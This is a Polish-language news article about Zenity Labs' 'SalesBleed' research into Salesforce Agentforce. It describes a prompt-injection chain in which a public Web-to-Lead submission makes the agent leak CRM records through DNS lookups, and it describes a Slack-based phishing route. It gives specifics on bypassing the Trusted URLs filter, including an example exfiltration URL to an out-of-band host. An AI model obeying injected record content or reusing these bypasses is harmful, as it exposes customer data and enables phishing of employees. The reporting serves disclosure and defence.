SalesBleed: Jeden publiczny lead, trzy wady Agentforce, zero kliknięć

24 września 2026 r. Zenity Labs opublikowała badania, które nazywa SalesBleed: trzy podatności w Salesforce Agentforce, platformie dostawcy CRM do tworzenia i wdrażania agentów AI, które pozwalają obcej osobie wyciągnąć rekordy klientów z organizacji Salesforce danej firmy, a następnie wykorzystać własnego agenta tej firmy do phishingu wobec jej pracowników. Dwie z trzech nie wymagają kliknięcia przez nikogo w firmie. Ekspozycja dotyczy dzierżawców Agentforce, którzy akceptują zgłoszenia Web-to-Lead, a także każdego agenta, którego dzierżawca opublikował w Slacku. Dark Reading informuje, że nie przypisano żadnych identyfikatorów CVE, a Salesforce powiedział redakcji, że nie ma dowodów na wykorzystanie wobec jakiegokolwiek klienta. Pełny zapis, wraz z własną oceną pewności archiwum i statusem szkód, znajduje się w Orca AI Incident Archive, który rejestruje każde udokumentowane zdarzenie związane z agentem wraz z cytowanymi źródłami.

Jak publiczny formularz pozyskiwania leadów staje się kanałem danych

Web-to-Lead to oficjalny mechanizm Salesforce do zbierania leadów, który z założenia nie wymaga uwierzytelniania — istnieje po to, aby każdy w internecie mógł przesłać formularz, a jego zawartość trafiła do CRM klienta. Pierwszy wpis Zenity, przypisywany Alexowi Apostolovowi i współpracownikom, zaczyna się od tego jako całego warunku wejścia: brak konta do zawieszenia, brak sesji do unieważnienia, brak zdarzenia logowania do wykrycia. Atakujący nigdy nie dotyka tenanta.

Opisywany przez badaczy łańcuch składa się z pięciu ogniw:

• Atakujący przesyła lead przez publiczny endpoint Web-to-Lead, zawierający w jednym z pól ukryte wstrzyknięcie promptu. Wygląda to na zwyczajne zapytanie.

• Lead pozostaje tam, dopóki pracownik nie zapyta swojego agenta o coś całkowicie zwyczajnego — przykładem Zenity jest „sprawdź moje najnowsze leady i pomóż mi z najnowszym”.

• Agent odczytuje zatruty rekord i postępuje zgodnie z zawartymi w nim instrukcjami, używając narzędzia Query Records, które domyślny General CRM podagent już posiada do odpytywania tabeli Accounts. Zenity wyraźnie stwierdza, że nie była potrzebna eskalacja uprawnień: ten sam podagent jest dostarczany z dostępem do odczytu zarówno do Leads, jak i Accounts, a są to ustawienia domyślne, a nie nieprawidłowe konfiguracje.

• Zapisuje pobrane wartości — w przykładzie badaczy nazwę firmy i wielkość transakcji — w subdomenie nazwy hosta kontrolowanej przez atakującego, a następnie zwraca wynik użytkownikowi w postaci znacznika obrazu HTML.

• Interfejs czatu renderuje zewnętrzne źródła obrazów bez sanityzacji ani etapu potwierdzenia, więc klient rozwiązuje nazwę hosta. Dane wychodzą w zapytaniu DNS.

To właśnie na tym ostatnim kroku warto się zatrzymać. Ponieważ ładunek podróżuje w zapytaniu DNS, następujące po nim żądanie HTTP jest bez znaczenia — może się nie powieść, przekroczyć limit czasu lub zostać całkowicie zablokowane, a dane już zdążyły wyjść. Zenity zauważa, że ten mechanizm jest w stanie przetrwać kontrole ruchu wychodzącego HTTP. Pojedyncza etykieta DNS ma limit 63 znaków, a pełna nazwa — 253, więc jedno przesłanie powoduje wyciek tylko fragmentu; badacze opisują opróżnianie całej tabeli Accounts konto po koncie poprzez powtarzane żądania — i stąd wzięło się „bleed” w nazwie.

Istnieje drugie wyjście, które wymaga jeszcze mniej: w przypadku agentów opublikowanych w Slacku nie jest wymagany żaden znacznik obrazu. Slack zamienia surowe adresy URL w podglądy i odwiedza link, aby go utworzyć, więc samo wypisanie adresu URL wystarcza, by wywołać to samo zapytanie DNS. SecurityWeek cytuje podsumowanie Zenity dotyczące wynikowego zachowania: Slack inicjuje żądania przenoszące dane CRM do infrastruktury kontrolowanej przez atakującego, gdy tylko linki się pojawią.

Zenity ostrożnie podchodzi do tego, co oznacza w tym kontekście „zero-click” i ta różnica ma znaczenie. Pracownik robi dokładnie jedną rzecz: zadaje własnemu agentowi zwykłe pytanie o własne leady. Nie otwiera załącznika, nie klika linku ani nie wchodzi w interakcję z niczym, co wysłał atakujący. Wszystko, co następuje po tym pytaniu, dzieje się automatycznie. Złośliwy lead również pozostaje w tabeli Leads jak każdy inny rekord, więc może zadziałać ponownie za każdym razem, gdy pracownik go przejrzy — a atakujący, który chce uzyskać szerszy kanał, może po prostu przesłać więcej leadów. SecurityWeek odnotowuje szczegół, który czyni tę porażkę jeszcze bardziej wyraźną: Agentforce zgłosił, że treść została zablokowana przez polityki bezpieczeństwa organizacji, mimo że dane CRM już dotarły na serwer atakującego.

Dlaczego filtr Trusted URLs nie zadziałał

Trusted URLs to mechanizm kontrolny Salesforce stworzony dokładnie po to — ogranicza zewnętrzne miejsca docelowe, do których może dotrzeć Agentforce, oraz usuwa linki i obrazy wskazujące na domeny, których nikt nie zatwierdził. Zenity odkryła dwa przypadki brzegowe, które w połączeniu bez problemu go ominęły.

Pierwsza dotyczyła domeny najwyższego poziomu. Redaktor rozpoznawał tylko stałą listę domen TLD, a .fun — domena używana przez platformę testowania out-of-band app.interactsh.com — nie znajdowała się na niej. Nazwa hosta kończąca się nierozpoznaną domeną TLD mogła w ogóle nie zostać uznana za nazwę hosta. Druga dotyczyła miejsca, w którym kończy się URL: redaktor i warstwa renderująca odpowiedź nie zgadzały się co do znaków zakończenia, a nawiasy klamrowe i kwadratowe znajdowały się w tej luce. Ciąg taki jak https://random_string.oast.fun/{email} nie jest prawidłowym URI według RFC 3986, a mimo to nadal wywołuje zapytanie DNS potrzebne do ataku. Redaktor uznał go za zniekształcony nie-URL i zostawił bez zmian; przeglądarka była gotowa pobrać go jako źródło obrazu.

Jeden szczegół strukturalny sprawił, że obejście dało się dostrajać. Redakcja odbywa się po wygenerowaniu przez agenta danych wyjściowych, jako odrębny proces, o którym model nic nie wie. Zenity odkryło, że surowe dane wyjściowe agenta i wersja po redakcji były obecne jednocześnie w odpowiedziach wysyłanych do klienta, co pozwoliło badaczom porównać je i usuwać wszelkie anomalie wychwytywane przez filtr — na przykład nawiasy kwadratowe w subdomenie — aż wstrzyknięcie stało się stabilne od początku do końca.

Dark Reading donosi, że redagowanie adresów URL w Salesforce do tej pory opierało się na dopasowywaniu wyrażeń regularnych, aby ustalić, czy ciąg znaków wygląda jak URL, co pozwalało ukrywać domeny w nieoczekiwanych formatach. Firma twierdzi, że zastąpiła to zgodnym ze specyfikacją parsowaniem adresów URL oraz skonsolidowała inspekcję URL, tak aby cały ruch agentów związany z adresami URL przechodził teraz przez jedną bramę.

Trzecia wada: phishing pod własnym imieniem agenta

Odkrycie dotyczące Slacka, opublikowane tego samego dnia w drugim wpisie przypisanym João Donato i współpracownikom, dotyczy tożsamości, a nie danych. Agentów Agentforce można publikować bezpośrednio w Slacku, a ich możliwości są dostarczane jako podagenci; Zenity zauważa, że szablon Slack Knowledge, obejmujący wszystkie jego działania, można dodać dwoma kliknięciami.

Większość akcji zapisu w Slacku, które zbadali badacze, miała dwa zabezpieczenia: krok potwierdzenia przed wysłaniem oraz przypisanie wywołującego, informujące odbiorców, czyje żądanie użytkownika spowodowało wysłanie wiadomości. Send a Slack Direct Message miała oba. Reply to a Slack Thread nie miała żadnego. Gdy Agentforce zdecydował się wywołać tę akcję, wiadomość została wysłana bez zatwierdzenia i bez przypisania — zawierała tożsamość agenta i nic, co wskazywałoby na tego, kto o nią poprosił.

Dało to dwie ścieżki ataku. Złośliwy insider, który może już rozmawiać z agentem, może opublikować phishing w odpowiednim wątku i odejść, nie pozostawiając niczego, co wiązałoby to z nim, ponieważ odbiorcy odczytują tę wiadomość jako wiadomość od agenta. Zewnętrzny atakujący osiąga ten sam wynik przez wstrzyknięcie Web-to-Lead: zatruty lead nakazuje agentowi odpowiedzieć na kanałach Slack, a ten robi to bez pytania pracownika, który go uruchomił. Obejście redakcji URL z pierwszego wpisu pozwala linkowi phishingowemu przetrwać filtrowanie; Zenity później odkrył, że linki można było ukryć również za pomocą wyglądającego nieszkodliwie tekstu w formacie Markdown. Zenity i Salesforce opisują konsekwencje w ten sam sposób: pracownicy otrzymują wiadomość z zaufanego systemu, który już działa w ich miejscu pracy, a nie od nieznanego zewnętrznego nadawcy, a każdy, kto kliknie link i poda dane logowania, naraża pocztę e-mail, Slack, repozytoria kodu źródłowego i wszystko inne, do czego ta tożsamość może dotrzeć.

Co jest ustalone, a co nie

Cztery kwestie są ustalone na podstawie przejrzanych tu źródeł. Zenity zademonstrowało łańcuchy ataków i opublikowało wideo proof of concept. Salesforce potwierdza analizę i opisuje wprowadzone zmiany — w oświadczeniach dla Dark Reading i SecurityWeek. Żadnej z trzech podatności nie przypisano CVE, co Dark Reading przypisuje temu, że poprawki wprowadzono po stronie Salesforce w usłudze hostowanej, a nie w oprogramowaniu uruchamianym przez klientów. Salesforce stwierdza ponadto, że obecnie nie ma dowodów, by którakolwiek z tych luk została wykorzystana przeciwko klientowi.

Nierozstrzygnięte pozostaje wszystko, co dotyczy skali. Żadne z przeanalizowanych tu źródeł nie podaje, ilu dzierżawców Agentforce korzystało z objętych problemem ustawień domyślnych, czy jakiekolwiek dane klientów faktycznie opuściły środowisko klienta ani czy ktokolwiek spoza Zenity Labs i Salesforce prowadził w tym zakresie poszukiwania. Niezależne media — Dark Reading, SecurityWeek, Infosecurity Magazine i The Register — każde z osobna poinformowało o ustaleniach i opublikowało odpowiedź Salesforce, ale żadna z tych publikacji nie relacjonuje własnego odtworzenia ataku. Nie istnieje drugie niezależne badanie techniczne SalesBleed i niniejszy artykuł nie sugeruje, że takie istnieje.

Źródła, na których opiera się ten materiał, również nie zgadzają się co do jednego szczegółu — w sposób, który warto nazwać, a nie wygładzać. Komunikat prasowy Zenity, rozpowszechniony przez Business Wire 24 września, stwierdza, że Salesforce rozwiązał konkretne obejścia Trusted URLs zgłoszone przez Zenity „w ciągu około dwóch tygodni”. Harmonogram dzień po dniu w technicznym wpisie Zenity obejmuje okres od 1 czerwca, kiedy wysłano zgłoszenie, do 18 i 19 sierpnia, kiedy potwierdzono poprawkę — czyli bliżej jedenastu tygodni. Oba opisy pochodzą od tej samej organizacji.

Co Salesforce zmienił i kiedy

Zgłoszenie ciągnęło się długo i, według relacji Zenity, przebiegało w kordialnej atmosferze. Ustalenia wysłano do Salesforce e-mailem 1 czerwca 2026 r.; Salesforce potwierdził je następnego dnia i poinformował, że pracuje nad poprawkami; 16 czerwca oba zespoły odbyły rozmowę techniczną; 17 czerwca Salesforce zamknął zgłoszenia, zaznaczając, że dział inżynierii nadal pracuje. 18 sierpnia Salesforce potwierdził poprawki, a 19 sierpnia Zenity zweryfikował konkretnie obejście Trusted URLs. 20 sierpnia potwierdzono naprawę atrybucji w akcji Slack. Wymaganie potwierdzenia domyślnie zajęło więcej czasu: 25 sierpnia Salesforce poinformował, że nadal nad tym pracuje, 10 września podał 21 września jako termin, a 21 września Zenity przetestował i potwierdził wszystkie trzy.

Zmiany opisane przez Salesforce są konkretne. Domyślne ustawienia niektórych akcji Agentforce w Slacku wymagają teraz potwierdzenia przez użytkownika przed wysłaniem wiadomości, a firma twierdzi, że kontaktuje się bezpośrednio z klientami, aby przejrzeć ich konfiguracje. W przypadku Trusted URLs dopasowywanie za pomocą wyrażeń regularnych zostało usunięte na rzecz parsowania zgodnego ze specyfikacją, a inspekcja adresów URL została skonsolidowana w jednej bramie zamiast być obsługiwana w kilku punktach przepływu pracy.

Końcowa uwaga Zenity dotycząca poprawki Slacka to zastrzeżenie, a nie całkowite zielone światło. Wymóg potwierdzenia jest ustawieniem i wystarczy jedno kliknięcie, aby go wyłączyć; po wyłączeniu ta sama ścieżka ataku znów jest dostępna. Rada badaczy dla organizacji budujących agentów jest taka, aby uważnie przyglądać się temu, jak skonfigurowane są akcje zapisu, zamiast zakładać, że domyślne ustawienie się utrzyma.

Dlaczego badacze twierdzą, że to się uogólnia

Choć szczegóły dotyczą konkretnie Salesforce’a, Zenity przedstawia SalesBleed jako egzemplifikację pewnego wzorca. W swoim podsumowaniu wskazuje, że każdy agent, który odczytuje rekordy przesyłane przez zewnętrzne źródła, renderuje użytkownikowi z powrotem linki lub obrazy, a także ma dostęp narzędziowy do wrażliwych danych, ma te same trzy składniki w tym samym miejscu. Badacze nazywają tę kombinację wersją zabójczej triady — prywatne dane, niezaufana treść i kanał wyjściowy spotykające się w jednej tożsamości.

Ten schemat ma lokalną historię. Dark Reading donosi, że rok przed SalesBleed badacze z Noma Security wykorzystali tę samą ścieżkę Web-to-lead, aby dotrzeć do danych Salesforce, a Salesforce odpowiedział zaostrzeniem reguł dotyczących adresów URL — redakcją opartą na wyrażeniach regularnych, którą Zenity następnie obejść. Rzecznik Salesforce przyznał w rozmowie z Dark Reading, że wcześniejsza reakcja była szybką poprawką, a nie kompleksowym rozwiązaniem, i powiedział, że obecna ma być bardziej solidna.

„Znaleźliśmy wiele sposobów na przełamanie granicy bezpieczeństwa zaprojektowanej po to, by powstrzymać Agentforce przed wysyłaniem danych korporacyjnych do niezatwierdzonych miejsc” – mówi w komunikacie Michael Bargury, współzałożyciel i dyrektor ds. technologii Zenity. „Sztywne granice pozostają jednym z najsilniejszych narzędzi, jakie mamy do ograniczania agentów AI, ale wciąż są tylko oprogramowaniem. Kiedy te mechanizmy zawiodą, zostajemy z agentem mającym uprawnienia uprzywilejowanego dostępu, dużą autonomię i żadnych ograniczeń”. Tamir Ishay Sharbat, dyrektor ds. badań bezpieczeństwa w Zenity, przedstawił szerszy problem w rozmowie z Dark Reading: im więcej władzy otrzymuje agent, tym jest groźniejszy, a agent, który samodzielnie wysyła wiadomości wieloma kanałami, a jednocześnie czyta umowy, leady sprzedażowe lub zobowiązania wobec dostawców, to kombinacja, która zostanie wykorzystana. Bargury dodał do tego drugą obawę w tej samej publikacji – że agenci są budowani jako czarne skrzynki, z podsumowaniami zamiast logów, co utrudnia ustalenie, co agent zrobił i dlaczego.

Tym, co przeniosłoby ten wpis z demonstracji do incydentu, nie jest nowa technika, lecz dowód: ujawnienie przez klienta, CVE albo oświadczenie Salesforce lub Zenity, że zaobserwowano łańcuchy w użyciu. Niczego takiego nie ma w źródłach przeanalizowanych tutaj. Dopóki tak się nie stanie, SalesBleed pozostaje tym, czym zapisuje go archiwum — luką o wysokiej wadze, udokumentowaną według standardu pewności A przez osoby, które ją znalazły, i potwierdzoną jako naprawioną przez dostawcę, bez odnotowanych szkód w świecie rzeczywistym.